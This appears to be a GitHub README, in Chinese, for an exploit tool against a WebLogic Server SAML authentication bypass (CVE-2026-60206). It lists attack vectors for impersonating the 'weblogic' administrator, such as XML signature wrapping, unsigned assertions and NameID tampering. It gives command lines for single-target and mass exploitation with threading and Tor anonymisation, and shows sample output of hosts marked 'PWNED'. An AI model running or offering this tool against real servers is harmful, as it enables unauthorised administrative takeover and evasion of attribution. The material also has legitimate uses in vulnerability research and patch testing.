Debajyoti0-0/CVE-2026-60206

GitHub: Debajyoti0-0/CVE-2026-60206

针对 Oracle WebLogic Server SAML 身份验证绕过漏洞 CVE-2026-60206 的概念验证利用工具,支持多种攻击向量与批量检测。

Stars: 0 | Forks: 0

# CVE-2026-60206 – Oracle WebLogic Server SAML 身份验证绕过 PoC 本仓库提供了 **CVE-2026-60206** 的概念验证漏洞利用代码,这是 Oracle WebLogic Server 的 SAML 实现中存在的一个严重的身份验证绕过漏洞。该缺陷允许具有低权限的远程攻击者通过伪造 SAML 断言来完全控制服务器。 [![CVSS](https://img.shields.io/badge/CVSS-9.9-red)](https://nvd.nist.gov/vuln/detail/CVE-2026-60206)

CVE-2026-60206 Logo

## 🔥 漏洞概述 **CVE-2026-60206** 影响 Oracle WebLogic Server 的核心组件。该漏洞源于 SAML 协议实现中不当的身份验证处理。多种攻击向量——例如 XML 签名包装 (XSW)、接受未签名断言、NameID 篡改以及受众/条件绕过——允许攻击者冒充任意用户(例如 `weblogic`)并获取管理员访问权限。 **受影响版本:** - 12.2.1.4.0 - 14.1.1.0.0 - 14.1.2.0.0 - 15.1.1.0.0 该 PoC 实现了以下攻击向量: - **XML 签名包装 (XSW)** – 通过结构篡改使 SAML 处理器接受未签名的断言。 - **未签名断言注入** – 伪造完全未签名的 SAML 响应(如果未强制执行 `WantAssertionsSigned`)。 - **NameID 篡改** – 通过 XML 注释、空格或格式混淆来欺骗身份映射器。 - **受众限制绕过** – 移除或修改 `AudienceRestriction` 以扩大范围。 - **条件/时间绕过** – 篡改 `NotBefore`/`NotOnOrAfter` 以绕过有效性检查。 - **组合攻击** – XSW + 未签名内部断言 + NameID 篡改(最有可能成功的攻击方式)。 - **重放攻击** – 重放捕获到的 SAML 响应,并修改目标/接收者。 ## ✨ 功能 - **多种攻击模式** – 可从 `all`、`unsigned`、`xsw`、`nameid`、`audience`、`conditions`、`combo` 或 `replay` 中进行选择。 - **批量扫描** – 针对多个目标进行并发检测和可选的漏洞利用(通过 `-l`)。 - **版本探测** – 通过标头、错误页面和 WSDL 精确识别 WebLogic 版本指纹。 - **SAML 端点探测** – 自动发现 SAML ACS、元数据和 SP 发起的端点。 - **支持 Tor** – 通过 Tor (SOCKS5/HTTP/SOCKS4) 路由流量以实现匿名。 - **原始 HTTP 请求重放** – 从文件发送任意原始 HTTP 请求 (`-r`)。 - **支持 HTTP/2** – 如果已安装则自动使用 `httpx`,否则回退至 `requests` (HTTP/1.1)。 - **User‑Agent 轮换** – 使用随机或自定义的 User‑Agent。 - **支持代理** – 通过 HTTP/SOCKS 代理发送所有请求。 - **请求自定义** – 设置超时、重试、延迟,禁用重定向,并根据正则表达式进行重试。 - **Payload 保存** – 将生成的 SAML payload 保存至磁盘 (`--save-payloads`)。 - **漏洞检查** (`-c` / `--check`) – 快速确定目标是否易受攻击(非漏洞利用)。 - **JSON/CSV 报告输出** – 为批量扫描提供结构化的结果。 - **详细日志记录** – 带有彩色控制台的详细调试输出。 ## 📦 安装 ``` git clone https://github.com/Debajyoti0-0/CVE-2026-60206.git cd CVE-2026-60206 pip install -r requirements.txt ``` **必需依赖:** `requests`、`urllib3` **可选依赖(用于增强功能):** - `httpx` – 用于支持 HTTP/2 - `lxml` – 用于增强的 SAML 解析 - `signxml`、`cryptography` – 用于签名处理(漏洞利用非必需) ## 🚀 用法 ### 单个目标 – 仅检测 ``` python CVE-2026-60206.py -t https://192.168.1.100:7002 --detect ``` ### 单个目标 – 运行所有攻击向量 ``` python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode all -u weblogic ``` ### 单个目标 – 特定攻击模式 ``` python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode combo -u admin ``` ### 批量扫描 – 从文件检测版本 ``` python CVE-2026-60206.py -l targets.txt -o results.json ``` ### 批量扫描 – 检测 + 利用 ``` python CVE-2026-60206.py -l targets.txt --exploit -o results.csv --threads 20 ``` ### 重放捕获的 SAML 响应 ``` python CVE-2026-60206.py -t https://192.168.1.100:7002 --mode replay --replay-file captured.xml ``` ### 使用 Tor 并检查连通性 ``` python CVE-2026-60206.py -t https://192.168.1.100:7002 --tor --check-tor ``` ### 从文件发送原始 HTTP 请求 ``` python CVE-2026-60206.py -t https://192.168.1.100:7002 -r request.txt --method POST ``` ### 快速漏洞检查(非利用) ``` python CVE-2026-60206.py -t https://192.168.1.100:7002 -c ``` ## ⚙️ 参数参考 ### 选项: | 参数 | 描述 | |------|-------------| | `-h, --help` | 显示帮助信息并退出。 | | `--proxy PROXY` | 代理 URL(如果使用了 `--tor` 则会被覆盖)。 | | `--no-verify` | 禁用 SSL 证书验证。 | | `--cookie COOKIE` | 会话 cookie(例如,`name=value; name2=value2`)。 | | `--auth AUTH` | 基本身份验证凭据(`USER:PASS`)。 | ### 目标: | 参数 | 描述 | |------|-------------| | `-t, --target TARGET` | 单个目标 URL(例如,`https://host:7002`)。 | | `-l, --list LIST` | 用于批量扫描的目标列表文件,或单个 URL。 | | `-f, --file FILE` | `--list` 的别名。 | ### 请求选项: | 参数 | 描述 | |------|-------------| | `-r, --requestfile REQUESTFILE` | 从文件加载原始 HTTP 请求(替换 SAML 攻击)。 | | `--method METHOD` | 要使用的 HTTP 方法(用于原始请求或单个请求;默认:`GET`)。 | | `--random-agent` | 使用内置列表中的随机 User‑Agent。 | | `-A, --user-agent USER_AGENT` | 自定义 User‑Agent 标头值。 | | `--tor` | 使用 Tor 匿名网络(默认 SOCKS5)。 | | `--tor-port TOR_PORT` | Tor 代理端口(默认:`9050`)。 | | `--tor-type {HTTP,SOCKS4,SOCKS5}` | Tor 代理类型(默认:`SOCKS5`)。 | | `--check-tor` | 检查 Tor 是否被正确使用(带结论退出)。 | | `--delay DELAY` | 每个请求之间的延迟(秒)。 | | `--timeout TIMEOUT` | 超时时间(秒)(默认:`30`)。 | | `--retries RETRIES` | 超时/错误时的重试次数(默认:`3`)。 | | `--retry-on RETRY_ON` | 如果响应内容匹配正则表达式(例如 `'captcha'`)则重试请求。 | | `-dr, --disable-redirects` | 禁用跟随 HTTP 重定向。 | ### 攻击配置: | 参数 | 描述 | |------|-------------| | `-m, --mode {all,detect,unsigned,xsw,nameid,audience,conditions,combo,replay}` | 攻击模式(默认:`all`)。 | | `--detect` | 仅探测 WebLogic 版本和 SAML 配置(不进行攻击)。 | | `-c, --check` | 快速漏洞检查(仅检测,带结论退出)。 | | `-u, --user USER` | 要冒充的目标用户(默认:`weblogic`)。 | | `--groups GROUPS` | 要包含在 SAML 断言中的组(默认:`Administrators,Monitors`)。 | | `--issuer ISSUER` | SAML 发行方 Entity ID。 | | `--audience AUDIENCE` | SAML 受众 Entity ID。 | | `--relay-state RELAY_STATE` | 用于 SAML POST 的 RelayState 参数。 | | `--base64` | 在 POST 中对 SAML 响应进行 Base64 编码。 | | `--extra-attrs [NAME=VALUE ...]` | 额外的 SAML 属性(例如,`role=admin`)。 | | `--replay-file REPLAY_FILE` | 用于重放的已捕获 SAML 响应的路径。 | | `--save-payloads` | 将生成的 SAML payload 保存至 `./payloads/`。 | | `--continue-on-success` | 在攻击成功后继续测试。 | ### 批量扫描(使用 `-l`): | 参数 | 描述 | |------|-------------| | `--exploit` | 测试未签名的 SAML 断言(默认:仅检测)。 | | `-T, --threads THREADS` | 并发线程数(默认:`10`)。 | ### 输出: | 参数 | 描述 | |------|-------------| | `-v, --verbose` | 增加详细程度(调试输出)。 | | `-q, --quiet` | 抑制非必要的输出。 | | `--list-modes` | 列出所有攻击模式及其描述并退出。 | | `-o, --output OUTPUT` | 将 JSON 或 CSV 报告写入文件。 | ## 🧪 模式详情 ### `detect` 执行版本探测和 SAML 端点探测。不发起攻击。 ### `unsigned` 注入完全未签名的 SAML 断言。如果目标未强制执行 `WantAssertionsSigned`,这将完全绕过身份验证。 **变体:** `unsigned`(默认),`unsigned_stripped`(移除所有签名引用)。 ### `xsw` (XML 签名包装) 将恶意的未签名断言放置在有效的已签名断言之前(或将其包装)。SAML 处理器可能会提取第一个断言,而签名验证器检查的是已签名的断言。 **变体:** `xsw1`(简单前置),`xsw2`(与原始 ID 相同),`xsw3`(嵌套包装),`xsw4`(同级)。 ### `nameid` 篡改 `NameID` 字段以混淆 WebLogic 的身份映射器,允许冒充其他用户。 **变体:** `comment_injection`、`whitespace`、`format_confusion`、`xpath_injection`。 ### `audience` 通过移除或修改 audience 元素来绕过 `AudienceRestriction` 检查。 **变体:** `remove_audience`、`wildcard_audience`、`extra_audience`。 ### `conditions` 绕过基于时间的限制(例如,`NotBefore`、`NotOnOrAfter`)。 **变体:** `future_timestamp`、`expired_timestamp`、`remove_conditions`、`infinite_validity`。 ### `combo` 将 XSW、未签名断言和 NameID 篡改组合到一个 payload 中——这是最有可能实现全面攻陷的向量。 **变体:** `combo_full`(带注释注入),`combo_stealth`(带换行符)。 ### `replay` 重放之前捕获的 SAML 响应,可选择修改目标或移除受众限制。 **变体:** `replay_modified`(调整 Destination/Recipient),`replay_cross_sp`(移除受众限制)。 ## 📝 示例工作流(单目标漏洞利用) ``` $ python CVE-2026-60206.py -t https://192.168.1.100:7002 -u weblogic --mode combo ╔══════════════════════════════════════════════════════════════════════╗ ║ CVE-2026-60206 — WebLogic SAML Authentication Bypass PoC ║ ║ Oracle WebLogic Server Core | CVSS 9.9 | CWE-287 ║ ╚══════════════════════════════════════════════════════════════════════╝ 🔍 Detecting WebLogic version and SAML configuration... Detected WebLogic version: 12.2.1.4.0 ⚠️ Version 12.2.1.4.0 is IN SCOPE for CVE-2026-60206! Found SAML metadata: /saml2/sp/metadata Found SAML ACS: /saml2/sp/acs (HTTP 200) ============================================================ 🚀 Starting comprehensive SAML attack suite Target: https://192.168.1.100:7002 Target User: weblogic ============================================================ ── Attack 1/2 ── 🎯 [combo/combo_full] Launching combined attack for: weblogic ✅ [combo/combo_full] Authentication bypass SUCCEEDED! Logged in as: weblogic ACS Endpoint: /saml2/sp/acs ── Attack 2/2 ── 🎯 [combo/combo_stealth] Launching combined attack for: weblogic ✅ [combo/combo_stealth] Authentication bypass SUCCEEDED! Logged in as: weblogic ACS Endpoint: /saml2/sp/acs ============================================================ 📊 Results: 2/2 attack vectors succeeded ============================================================ EXPLOIT SUCCESSFUL! 2 attack(s) bypassed authentication. - [combo/combo_full] → logged in as 'weblogic' via /saml2/sp/acs - [combo/combo_stealth] → logged in as 'weblogic' via /saml2/sp/acs 📄 Report saved: logs/report_20260725_123456.json ``` ## 📝 示例工作流(批量扫描) ``` $ python CVE-2026-60206.py -l targets.txt --exploit -o scan_results.csv --threads 10 ============================================================ CVE-2026-60206 Mass Scanner Targets: 50 Threads: 10 Mode: Exploit ============================================================ [10/50] 20.0% | Vuln:3 | Pwned:1 | 1.2 tgt/s [!] VULN: https://10.0.0.5:7002 (12.2.1.4.0) [!!] PWNED: https://10.0.0.5:7002 - logged in as weblogic ... (continues) ... ============================================================ SCAN SUMMARY ============================================================ Total targets: 50 Reachable: 45 WebLogic: 12 Vuln version: 8 Exploited: 3 Duration: 42.5s ============================================================ [!!] SUCCESSFULLY EXPLOITED: https://10.0.0.5:7002 → weblogic via /saml2/sp/acs https://10.0.0.10:7002 → weblogic via /saml2/sp/acs https://10.0.0.15:7002 → weblogic via /saml2/sp/acs [!] VULNERABLE VERSIONS (not yet exploited): https://10.0.0.20:7002 (14.1.1.0.0) https://10.0.0.25:7002 (15.1.1.0.0) ... (truncated) ``` ## 🛠️ 构建易受攻击的测试环境 为了安全地测试此 PoC,请设置一个启用了 SAML 且版本属于受影响版本的 WebLogic Server。例如,您可以使用 Docker: ``` # 示例(简化版 – 使用带 SAML 配置的官方 Oracle WebLogic 镜像) docker run -p 7002:7002 oracle/weblogic:12.2.1.4.0 # 然后通过 WebLogic 控制台或脚本配置 SAML ``` SAML 配置必须包含至少一个带有 ACS 端点(例如 `/saml2/sp/acs`)的 SAML 2.0 Service Provider,并发布元数据。 ## 🔗 参考 - [Oracle 2026 年 7 月关键补丁更新公告](https://www.oracle.com/security-alerts/cpujul2026.html) - [CVE-2026-60206 详情 – NIST NVD](https://nvd.nist.gov/vuln/detail/CVE-2026-60206) - [CWE-287:不当身份验证](https://cwe.mitre.org/data/definitions/287.html) - [SAML 2.0 安全分析 – XML 签名包装](https://www.usenix.org/legacy/event/sec12/tech/full_papers/Somorovsky.pdf) ## 📜 许可证 本项目基于 GNU v3.0 许可证授权——详情请参阅 [LICENSE](LICENSE) 文件。 ## 🤝 贡献 欢迎提交 Issue 和 pull request。请确保您的贡献遵守相同的道德使用准则。
标签:Maven, Oracle WebLogic, PoC, SAML, 安全漏洞, 暴力破解, 漏洞验证, 身份认证绕过, 运行时操纵, 逆向工具